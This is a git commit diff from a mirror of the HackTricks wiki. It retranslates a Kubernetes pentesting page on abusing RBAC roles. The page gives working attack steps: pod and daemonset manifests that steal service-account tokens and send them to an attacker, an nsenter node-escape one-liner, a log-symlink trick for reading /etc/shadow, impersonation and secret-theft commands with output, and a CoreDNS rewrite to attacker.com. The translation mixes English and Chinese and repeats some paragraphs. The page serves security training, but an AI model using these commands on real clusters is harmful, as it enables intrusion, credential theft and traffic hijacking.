mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/abusing-roles-
This commit is contained in:
@@ -2,22 +2,22 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
在这里,您可以找到一些潜在危险的 Roles 和 ClusterRoles 配置。\
|
||||
请记住,您可以使用 `kubectl api-resources` 获取所有支持的资源。
|
||||
Here you can find some potentially dangerous Roles and ClusterRoles configurations.\
|
||||
记住你可以使用 `kubectl api-resources` 获取所有受支持的资源
|
||||
|
||||
## **特权提升**
|
||||
## **Privilege Escalation**
|
||||
|
||||
特权提升是指在集群中以**不同权限**(在 Kubernetes 集群内或外部云中)获取**对不同主体的访问**,与您当前拥有的权限不同。在 Kubernetes 中,基本上有**4 种主要技术来提升特权**:
|
||||
Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**:
|
||||
|
||||
- 能够**冒充**在 Kubernetes 集群内或外部云中具有更高权限的其他用户/组/服务账户
|
||||
- 能够**创建/补丁/执行 pods**,在其中您可以**找到或附加具有更高权限的服务账户**
|
||||
- 能够**读取秘密**,因为服务账户的令牌存储为秘密
|
||||
- 能够**从容器逃逸到节点**,在此您可以窃取在节点上运行的容器的所有秘密、节点的凭据以及节点在其运行的云中的权限(如果有的话)
|
||||
- 第五种值得一提的技术是能够在 pod 中**运行端口转发**,因为您可能能够访问该 pod 中的有趣资源。
|
||||
- 能够 **impersonate** 具有更高权限的其他 user/groups/SAs(在 kubernetes 集群内或对外部云)
|
||||
- 能够 **create/patch/exec pods**,在这些 pod 中你可以 **find or attach SAs**,这些 SAs 在 kubernetes 集群内或对外部云具有更高权限
|
||||
- 能够 **read secrets**,因为 SAs 的 token 存储为 secrets
|
||||
- 能够从容器 **escape to the node**,在那可以窃取该节点上运行的容器的所有 secrets、节点的凭据,以及该节点在其所在云中的权限(如果有)
|
||||
- 第五种值得一提的技术是在 pod 中 **run port-forward**,因为你可能能够访问该 pod 内的有趣资源
|
||||
|
||||
### 访问任何资源或动词(通配符)
|
||||
### Access Any Resource or Verb (Wildcard)
|
||||
|
||||
**通配符(*)对任何资源和任何动词授予权限**。它由管理员使用。在 ClusterRole 内,这意味着攻击者可以滥用集群中的任何命名空间。
|
||||
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -29,13 +29,13 @@ rules:
|
||||
resources: ["*"]
|
||||
verbs: ["*"]
|
||||
```
|
||||
### 使用特定动词访问任何资源
|
||||
### 以特定动词访问任意资源
|
||||
|
||||
在RBAC中,某些权限带来了重大风险:
|
||||
在 RBAC 中,某些权限存在重大风险:
|
||||
|
||||
1. **`create`:** 授予创建任何集群资源的能力,存在特权升级的风险。
|
||||
2. **`list`:** 允许列出所有资源,可能泄露敏感数据。
|
||||
3. **`get`:** 允许访问服务账户的秘密,构成安全威胁。
|
||||
1. **`create`:** 授予创建任何集群资源的能力,可能导致 privilege escalation。
|
||||
2. **`list`:** 允许列出所有资源,可能会 leak 敏感数据。
|
||||
3. **`get`:** 允许从服务账户访问 secrets,构成安全威胁。
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
|
||||
```
|
||||
### Pod Create - Steal Token
|
||||
|
||||
一个具有创建 pod 权限的攻击者,可以将一个特权服务账户附加到 pod 中,并窃取该服务账户的令牌以冒充该服务账户。有效地提升了其权限。
|
||||
具有创建 pod 权限的攻击者可以将一个有特权的 Service Account 挂载到 pod 中并窃取其 token,从而冒充该 Service Account,实际上提升自身权限。
|
||||
|
||||
一个将窃取 `bootstrap-signer` 服务账户令牌并将其发送给攻击者的 pod 示例:
|
||||
Example of a pod that will steal the token of the `bootstrap-signer` service account and send it to the attacker:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -72,14 +72,14 @@ serviceAccountName: bootstrap-signer
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
```
|
||||
### Pod 创建与逃逸
|
||||
### Pod Create & Escape
|
||||
|
||||
以下指示容器可以拥有的所有权限:
|
||||
下面列出了容器可能拥有的所有权限:
|
||||
|
||||
- **特权访问**(禁用保护和设置能力)
|
||||
- **禁用命名空间 hostIPC 和 hostPid**,这可以帮助提升权限
|
||||
- **禁用 hostNetwork** 命名空间,允许访问以窃取节点的云权限和更好地访问网络
|
||||
- **在容器内挂载主机**
|
||||
- **Privileged access** (禁用保护措施并设置 capabilities)
|
||||
- **Disable namespaces hostIPC and hostPid** 这可以帮助提升权限
|
||||
- **Disable hostNetwork** namespace, 允许窃取节点的 cloud 权限并更好地访问网络
|
||||
- **Mount hosts / inside the container**
|
||||
```yaml:super_privs.yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -115,45 +115,45 @@ volumes:
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
创建 Pod:
|
||||
使用以下命令创建 pod:
|
||||
```bash
|
||||
kubectl --token $token create -f mount_root.yaml
|
||||
```
|
||||
来自[this tweet](https://twitter.com/mauilion/status/1129468485480751104)的单行代码,并附加了一些内容:
|
||||
来自 [this tweet](https://twitter.com/mauilion/status/1129468485480751104) 的一行命令,并做了一些补充:
|
||||
```bash
|
||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||
```
|
||||
现在您可以逃逸到节点,检查后渗透技术:
|
||||
现在你可以逃逸到 node,请查看以下 Stealth 中的 post-exploitation 技术:
|
||||
|
||||
#### 隐蔽性
|
||||
#### Stealth
|
||||
|
||||
您可能希望更加**隐蔽**,在接下来的页面中,您可以看到如果您创建一个仅启用前面模板中提到的一些权限的 pod,您将能够访问的内容:
|
||||
你可能想要更隐蔽一些,下面的页面展示了如果你创建一个只启用之前模板中部分特权的 pod 时可以访问到的内容:
|
||||
|
||||
- **特权 + hostPID**
|
||||
- **仅特权**
|
||||
- **Privileged + hostPID**
|
||||
- **Privileged only**
|
||||
- **hostPath**
|
||||
- **hostPID**
|
||||
- **hostNetwork**
|
||||
- **hostIPC**
|
||||
|
||||
_您可以在_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _找到如何创建/滥用之前特权 pod 配置的示例_
|
||||
_你可以在_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) _找到如何创建/abuse 上述特权 pod 配置的示例_
|
||||
|
||||
### Pod 创建 - 移动到云
|
||||
### Pod 创建 - 迁移到云端
|
||||
|
||||
如果您可以**创建**一个**pod**(可选地创建一个**服务账户**),您可能能够通过**将云角色分配给 pod 或服务账户**来**获得云环境中的权限**,然后访问它。\
|
||||
此外,如果您可以创建一个**具有主机网络命名空间的 pod**,您可以**窃取节点**实例的 IAM 角色。
|
||||
如果你可以 **create** 一个 **pod**(可选地创建一个 **service account**),你可能能够通过 **assigning cloud roles to a pod or a service account** 并访问它,从而 **obtain privileges in cloud environment**。\
|
||||
此外,如果你可以创建一个 **pod with the host network namespace**,你可以 **steal the IAM** 角色(来自 **node** 实例)。
|
||||
|
||||
有关更多信息,请查看:
|
||||
更多信息请参见:
|
||||
|
||||
{{#ref}}
|
||||
pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### **创建/补丁部署、守护进程集、有状态集、复制控制器、副本集、作业和定时作业**
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
可以滥用这些权限来**创建一个新 pod**并获取权限,如前面的示例所示。
|
||||
可以滥用这些权限来 **create a new pod** 并像前面的示例一样提升权限。
|
||||
|
||||
以下 yaml **创建一个守护进程集并提取 pod 内部 SA 的令牌**:
|
||||
下面的 yaml 在 pod 内 **creates a daemonset and exfiltrates the token of the SA**:
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -191,32 +191,37 @@ path: /
|
||||
```
|
||||
### **Pods Exec**
|
||||
|
||||
**`pods/exec`** 是 Kubernetes 中的一个资源,用于 **在 pod 内部的 shell 中运行命令**。这允许 **在容器内部运行命令或获取 shell**。
|
||||
**`pods/exec`** 是 kubernetes 中的一个资源,用于 **在 pod 内的 shell 中运行命令**。这允许 **在 containers 内运行命令或获取一个 shell**。
|
||||
|
||||
因此,可以 **进入 pod 并窃取 SA 的令牌**,或者进入特权 pod,逃逸到节点,并窃取节点中所有 pod 的令牌并 (滥用) 节点:
|
||||
因此,可能 **进入 pod 并窃取该 SA 的 token**,或者进入一个有特权的 pod,逃逸到 node,并窃取该 node 上所有 pod 的 token 并(滥)用该 node:
|
||||
```bash
|
||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
```
|
||||
> [!NOTE]
|
||||
> 默认情况下,命令在 pod 的第一个容器中执行。使用 `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` 获取 **容器中的所有 pod**,然后使用 `kubectl exec -it <pod_name> -c <container_name> -- sh` **指定要执行的容器**。
|
||||
> 默认情况下,该命令在 pod 的第一个 container 中执行。使用 `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` 获取 **pod 中的所有 container**,然后用 `kubectl exec -it <pod_name> -c <container_name> -- sh` **指定要执行命令的 container**
|
||||
|
||||
如果是无发行版容器,您可以尝试使用 **shell 内置命令** 获取容器的信息或上传您自己的工具,如 **busybox**,使用:**`kubectl cp </path/local/file> <podname>:</path/in/container>`**。
|
||||
If it's a distroless container you could try using **shell builtins** to get info of the containers or uplading your own tools like a **busybox** using: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||
|
||||
### port-forward
|
||||
|
||||
此权限允许 **将一个本地端口转发到指定 pod 中的一个端口**。这旨在能够轻松调试在 pod 内部运行的应用程序,但攻击者可能会滥用它以获取对 pod 内部有趣(如数据库)或易受攻击的应用程序(网页?)的访问:
|
||||
This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod:
|
||||
```bash
|
||||
kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### 主机可写的 /var/log/ 逃逸
|
||||
|
||||
正如[**本研究中所指出的**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html),如果您可以访问或创建一个挂载了**主机 `/var/log/` 目录**的 pod,您可以**逃逸出容器**。\
|
||||
这基本上是因为当**Kube-API 尝试获取容器的日志**(使用 `kubectl logs <pod>`)时,它会通过 **Kubelet** 服务的 `/logs/` 端点请求 pod 的 `0.log` 文件。\
|
||||
Kubelet 服务暴露了 `/logs/` 端点,这基本上是**暴露了容器的 `/var/log` 文件系统**。
|
||||
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\
|
||||
正如 [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) 所指出的,如果你可以访问或创建一个 pod,并且该 pod 挂载了主机的 **`/var/log/` 目录**,你就可以**从容器中逃逸**。\
|
||||
This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs <pod>`), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\
|
||||
这是因为当 **Kube-API 试图获取** 容器的日志(使用 `kubectl logs <pod>`)时,它会通过 **Kubelet** 服务的 `/logs/` 端点请求该 pod 的 `0.log` 文件。\
|
||||
The Kubelet service exposes the `/logs/` endpoint which is just basically **exposing the `/var/log` filesystem of the container**.\
|
||||
Kubelet 服务暴露了 `/logs/` 端点,实际上就是**暴露了容器的 `/var/log` 文件系统**。\
|
||||
|
||||
因此,具有**写入容器 /var/log/ 文件夹权限**的攻击者可以通过两种方式利用这种行为:
|
||||
Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways:
|
||||
因此,攻击者如果**能在容器的 /var/log/ 文件夹中写入**,可以通过两种方式滥用这一行为:
|
||||
|
||||
- 修改其容器的 `0.log` 文件(通常位于 `/var/logs/pods/namespace_pod_uid/container/0.log`),使其成为指向 `/etc/shadow` 的**符号链接**。然后,您将能够通过以下方式提取主机的 shadow 文件:
|
||||
- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
|
||||
- 修改容器的 `0.log` 文件(通常位于 `/var/logs/pods/namespace_pod_uid/container/0.log`)为一个指向 `/etc/shadow` 的**符号链接(symlink)**。然后,你将能够窃取主机的 shadow 文件,方法如下:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -224,7 +229,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- 如果攻击者控制了任何具有 **读取 `nodes/log` 权限** 的主体,他可以在 `/host-mounted/var/log/sym` 中创建一个指向 `/` 的 **symlink**,当 **访问 `https://<gateway>:10250/logs/sym/` 时,他将列出主机的根** 文件系统(更改 symlink 可以提供对文件的访问)。
|
||||
- 如果攻击者控制任何 principal 并拥有 **读取 `nodes/log` 的权限**,他可以在 `/host-mounted/var/log/sym` 创建一个 **symlink** 指向 `/`,并且在 **访问 `https://<gateway>:10250/logs/sym/` 时会列出主机的根文件系统**(更改该 symlink 可以提供对文件的访问)。
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -236,23 +241,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
|
||||
<a href="lib">lib</a>
|
||||
[...]
|
||||
```
|
||||
**实验室和自动化利用可以在** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
**可以在** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
|
||||
|
||||
#### 绕过只读保护 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### 绕过 readOnly 保护 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
如果你足够幸运,并且高度特权的能力 `CAP_SYS_ADMIN` 可用,你可以简单地将文件夹重新挂载为 rw:
|
||||
如果你足够幸运并且拥有高度特权的 `CAP_SYS_ADMIN`,你可以直接将该文件夹重新挂载为 rw:
|
||||
```bash
|
||||
mount -o rw,remount /hostlogs/
|
||||
```
|
||||
#### 绕过 hostPath readOnly 保护 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
#### 绕过 hostPath 的 readOnly 保护 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
|
||||
|
||||
正如在 [**这项研究**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) 中所述,可以绕过保护:
|
||||
正如 [**这项研究**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) 所述,可以绕过该保护:
|
||||
```yaml
|
||||
allowedHostPaths:
|
||||
- pathPrefix: "/foo"
|
||||
readOnly: true
|
||||
```
|
||||
旨在通过使用 PersistentVolume 和 PersistentVolumeClaim 来挂载主机文件夹到容器中并提供可写访问,而不是使用 hostPath 挂载,从而防止像之前那样的逃逸:
|
||||
其目的是防止像之前那样的逃逸:不是使用 hostPath 挂载,而是使用 PersistentVolume 和 PersistentVolumeClaim 将 hosts 文件夹以可写方式挂载到 container 中:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: PersistentVolume
|
||||
@@ -300,14 +305,14 @@ name: task-pv-storage-vol
|
||||
```
|
||||
### **冒充特权账户**
|
||||
|
||||
通过 [**用户冒充**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 权限,攻击者可以冒充特权账户。
|
||||
拥有 [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) 权限时,攻击者可以冒充特权账户。
|
||||
|
||||
只需在 `kubectl` 命令中使用参数 `--as=<username>` 来冒充用户,或使用 `--as-group=<group>` 来冒充组:
|
||||
只需在 `kubectl` 命令中使用参数 `--as=<username>` 来冒充用户,或使用 `--as-group=<group>` 来冒充一个组:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
```
|
||||
或使用 REST API:
|
||||
或者使用 REST API:
|
||||
```bash
|
||||
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Impersonate-Group: system:masters"\
|
||||
@@ -315,15 +320,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### 列出秘密
|
||||
### 列出 secrets
|
||||
|
||||
**列出秘密的权限可能允许攻击者实际读取秘密** 通过访问 REST API 端点:
|
||||
具有 **list secrets 权限可能允许攻击者在访问 REST API 端点时实际读取 secrets**:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### 创建和读取秘密
|
||||
### 创建和读取 Secrets
|
||||
|
||||
有一种特殊类型的 Kubernetes 秘密,类型为 **kubernetes.io/service-account-token**,用于存储 serviceaccount 令牌。如果您有权限创建和读取秘密,并且您知道 serviceaccount 的名称,您可以按如下方式创建一个秘密,然后从中窃取受害者 serviceaccount 的令牌:
|
||||
Kubernetes 有一种特殊的 secret,类型为 **kubernetes.io/service-account-token**,用于存储 serviceaccount tokens。
|
||||
如果你有创建和读取 secrets 的权限,并且知道该 serviceaccount 的名称,你可以按如下方式创建一个 secret,然后从中窃取受害者 serviceaccount 的 token:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
@@ -334,7 +340,7 @@ annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
示例利用:
|
||||
示例利用:
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
@@ -382,17 +388,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
注意,如果您被允许在某个命名空间中创建和读取秘密,则受害者的服务账户也必须在同一命名空间中。
|
||||
请注意,如果你被允许在某个 namespace 中创建并读取 secrets,那么受害者的 serviceaccount 也必须位于同一个 namespace。
|
||||
|
||||
### 读取秘密 – 暴力破解令牌 ID
|
||||
### 读取 secret – 暴力破解 token ID
|
||||
|
||||
虽然持有具有读取权限的令牌的攻击者需要确切的秘密名称才能使用它,但与更广泛的 _**列出秘密**_ 权限不同,仍然存在漏洞。系统中的默认服务账户可以被枚举,每个服务账户都与一个秘密相关联。这些秘密的名称结构为:一个静态前缀后跟一个随机的五字符字母数字令牌(排除某些字符),根据 [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)。
|
||||
尽管持有具有读取权限的 token 的攻击者在使用时需要知道 secret 的确切名称(与更广泛的 _**listing secrets**_ 权限不同),但仍存在漏洞。系统中的默认 service accounts 可以被枚举,每个都关联有一个 secret。根据 [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83),这些 secret 的命名结构是:静态前缀后跟一个随机的五字符字母数字 token(排除某些字符)。
|
||||
|
||||
该令牌是从一个有限的27字符集(`bcdfghjklmnpqrstvwxz2456789`)生成的,而不是完整的字母数字范围。这一限制将总可能组合减少到14,348,907(27^5)。因此,攻击者可以在数小时内可行地执行暴力攻击以推断令牌,这可能导致通过访问敏感服务账户进行权限提升。
|
||||
令牌由受限的 27 个字符集合生成(`bcdfghjklmnpqrstvwxz2456789`),而不是完整的字母数字范围。这一限制将可能组合数减少到 14,348,907(27^5)。因此,攻击者在数小时内就可能通过暴力破解推测出 token,从而访问敏感的 service accounts 并可能导致权限提升。
|
||||
|
||||
### EncrpytionConfiguration 以明文形式存在
|
||||
### EncrpytionConfiguration 明文
|
||||
|
||||
可以在此类对象中找到用于加密静态数据的明文密钥,例如:
|
||||
在此类对象中可能发现用于对静态数据(data at rest)加密的明文密钥,例如:
|
||||
```yaml
|
||||
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
|
||||
|
||||
@@ -451,11 +457,11 @@ secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
|
||||
```
|
||||
### 证书签名请求
|
||||
|
||||
如果您在资源 `certificatesigningrequests` 中具有动词 **`create`**(或至少在 `certificatesigningrequests/nodeClient` 中)。您可以 **创建** 一个 **新节点** 的新 CeSR。
|
||||
如果你在资源 `certificatesigningrequests`(或至少在 `certificatesigningrequests/nodeClient`)上拥有动词 **`create`**,你就可以 **create** 一个新的 CeSR,用于一个 **new node.**
|
||||
|
||||
根据 [文档,自动批准此请求是可能的](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/),因此在这种情况下您 **不需要额外的权限**。如果不是,您需要能够批准请求,这意味着在 `certificatesigningrequests/approval` 中进行更新,并在 `signers` 中使用资源名称 `<signerNameDomain>/<signerNamePath>` 或 `<signerNameDomain>/*` 进行批准。
|
||||
根据 [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/),在这种情况下你**不需要额外的权限**。如果不能自动批准,你需要能够批准该请求,这意味着需要在 `certificatesigningrequests/approval` 上有 update 权限,以及在 `signers` 上有 `approve`,resourceName 为 `<signerNameDomain>/<signerNamePath>` 或 `<signerNameDomain>/*`
|
||||
|
||||
一个 **具有所有所需权限的角色示例** 是:
|
||||
一个包含所有所需权限的**role 示例**如下:
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -486,19 +492,19 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
所以,随着新的节点CSR获得批准,您可以**滥用**节点的特殊权限来**窃取秘密**和**提升权限**。
|
||||
因此,在新的 node CSR 被批准后,你可以**滥用**节点的特殊权限来**窃取 secrets**并**提升权限**。
|
||||
|
||||
在[**这篇文章**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)和[**这篇文章**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)中,GKE K8s TLS引导配置被设置为**自动签名**,并被滥用以生成新K8s节点的凭据,然后利用这些凭据提升权限,窃取秘密。\
|
||||
如果您**拥有提到的权限,您也可以做同样的事情**。请注意,第一个示例绕过了防止新节点访问容器内秘密的错误,因为**节点只能访问挂载在其上的容器的秘密。**
|
||||
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\
|
||||
如果你**拥有上述提到的权限,你也可以做同样的事情**。请注意,第一个示例绕过了阻止新节点访问容器内 secrets 的错误,因为**节点只能访问挂载在其上的容器的 secrets。**
|
||||
|
||||
绕过此限制的方法是**为挂载有有趣秘密的容器的节点名称创建节点凭据**(但请查看如何在第一篇文章中做到这一点):
|
||||
绕过该限制的方法就是**为挂载有目标 secrets 的容器所在节点的节点名创建 node credentials**(但具体如何操作请查看第一篇文章):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
### AWS EKS aws-auth configmaps
|
||||
|
||||
可以在 EKS(需要在 AWS 上)集群的 kube-system 命名空间中修改 **`configmaps`** 的主体可以通过覆盖 **aws-auth** configmap 获得集群管理员权限。\
|
||||
所需的动词是 **`update`** 和 **`patch`**,或者如果 configmap 尚未创建,则是 **`create`**:
|
||||
能够修改 kube-system 命名空间中 **`configmaps`** 的主体(在 EKS 集群中,需在 AWS 中)可以通过覆盖 **aws-auth** configmap 来获取集群管理员权限。\
|
||||
所需的动词是 **`update`** 和 **`patch`**,或者在 configmap 未创建时使用 **`create`**:
|
||||
```bash
|
||||
# Check if config map exists
|
||||
get configmap aws-auth -n kube-system -o yaml
|
||||
@@ -538,18 +544,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> 您可以使用 **`aws-auth`** 进行 **持久化**,以便为 **其他账户** 的用户提供访问权限。
|
||||
> 你可以使用 **`aws-auth`** 来实现 **持久化**,从而给予 **其他账户** 的用户访问权限。
|
||||
>
|
||||
> 然而,`aws --profile other_account eks update-kubeconfig --name <cluster-name>` **在不同账户中无法工作**。但实际上,如果您将集群的 ARN 放入,而不仅仅是名称,`aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` 是可以工作的。\
|
||||
> 要使 `kubectl` 工作,只需确保 **配置** 受害者的 kubeconfig,并在 aws exec 参数中添加 `--profile other_account_role`,这样 kubectl 就会使用其他账户的配置文件来获取令牌并联系 AWS。
|
||||
> 不过,`aws --profile other_account eks update-kubeconfig --name <cluster-name>` **在不同账户中无法工作**。但实际上,如果你把集群的 ARN 而不是名称传入,`aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` 是可以工作的。\
|
||||
> 为了让 `kubectl` 正常工作,只需确保 **配置** 受害者的 kubeconfig,并在 aws exec 参数中添加 `--profile other_account_role`,这样 kubectl 将使用另一个账户的 profile 来获取 token 并联系 AWS。
|
||||
|
||||
### CoreDNS 配置映射
|
||||
|
||||
如果您有权限修改 `kube-system` 命名空间中的 **`coredns` 配置映射**,您可以修改地址域以便能够执行 MitM 攻击以 **窃取敏感信息或注入恶意内容**。
|
||||
如果你有权限修改 `kube-system` 命名空间中的 **`coredns` configmap**,就可以修改域名解析的目标地址,从而执行 MitM 攻击以 **窃取敏感信息或注入恶意内容**。
|
||||
|
||||
所需的动词是 **`update`** 和 **`patch`**,针对 **`coredns`** 配置映射(或所有配置映射)。
|
||||
所需的 verbs 是对 **`coredns`** configmap(或所有 config maps)执行 **`update`** 和 **`patch`**。
|
||||
|
||||
一个常规的 **coredns 文件** 包含如下内容:
|
||||
一个常见的 **coredns 文件** 包含类似如下内容:
|
||||
```yaml
|
||||
data:
|
||||
Corefile: |
|
||||
@@ -579,58 +585,75 @@ reload
|
||||
loadbalance
|
||||
}
|
||||
```
|
||||
攻击者可以通过运行 `kubectl get configmap coredns -n kube-system -o yaml` 下载它,修改后添加类似 `rewrite name victim.com attacker.com` 的内容,这样每当访问 `victim.com` 时,实际上访问的是 `attacker.com`。然后通过运行 `kubectl apply -f poison_dns.yaml` 应用它。
|
||||
攻击者可以运行 `kubectl get configmap coredns -n kube-system -o yaml` 将其下载,修改它,添加类似 `rewrite name victim.com attacker.com` 的内容,这样每当访问 `victim.com` 时实际上会访问 `attacker.com`。然后运行 `kubectl apply -f poison_dns.yaml` 来应用它。
|
||||
|
||||
另一种选择是通过运行 `kubectl edit configmap coredns -n kube-system` 编辑文件并进行更改。
|
||||
另一种选择是直接运行 `kubectl edit configmap coredns -n kube-system` 编辑该文件并进行修改。
|
||||
|
||||
### 在 GKE 中提升权限
|
||||
|
||||
有 **2 种方法将 K8s 权限分配给 GCP 主体**。在任何情况下,主体还需要权限 **`container.clusters.get`** 以便能够获取访问集群的凭据,或者您需要 **生成自己的 kubectl 配置文件**(请遵循下一个链接)。
|
||||
有 **2 种方法可以将 K8s 权限分配给 GCP principals**。无论哪种情况,该 principal 还需要权限 **`container.clusters.get`** 才能收集凭证以访问集群,否则你需要 **generate your own kubectl config file**(请参见下一个链接)。
|
||||
|
||||
> [!WARNING]
|
||||
> 在与 K8s API 端点交谈时,**GCP 身份验证令牌将被发送**。然后,GCP 通过 K8s API 端点首先 **检查主体**(通过电子邮件) **是否在集群内有任何访问权限**,然后检查是否通过 **GCP IAM** 有 **任何访问权限**。\
|
||||
> 如果 **任何** 这些条件 **为真**,将会 **响应**。如果 **不**,将会给出一个 **错误**,建议通过 **GCP IAM** 授予 **权限**。
|
||||
> 当与 K8s api endpoint 通信时,**GCP auth token will be sent**。然后,GCP(通过 K8s api endpoint)会先**check if the principal**(按 email)**has any access inside the cluster**,然后会检查它是否**has any access via GCP IAM**。\
|
||||
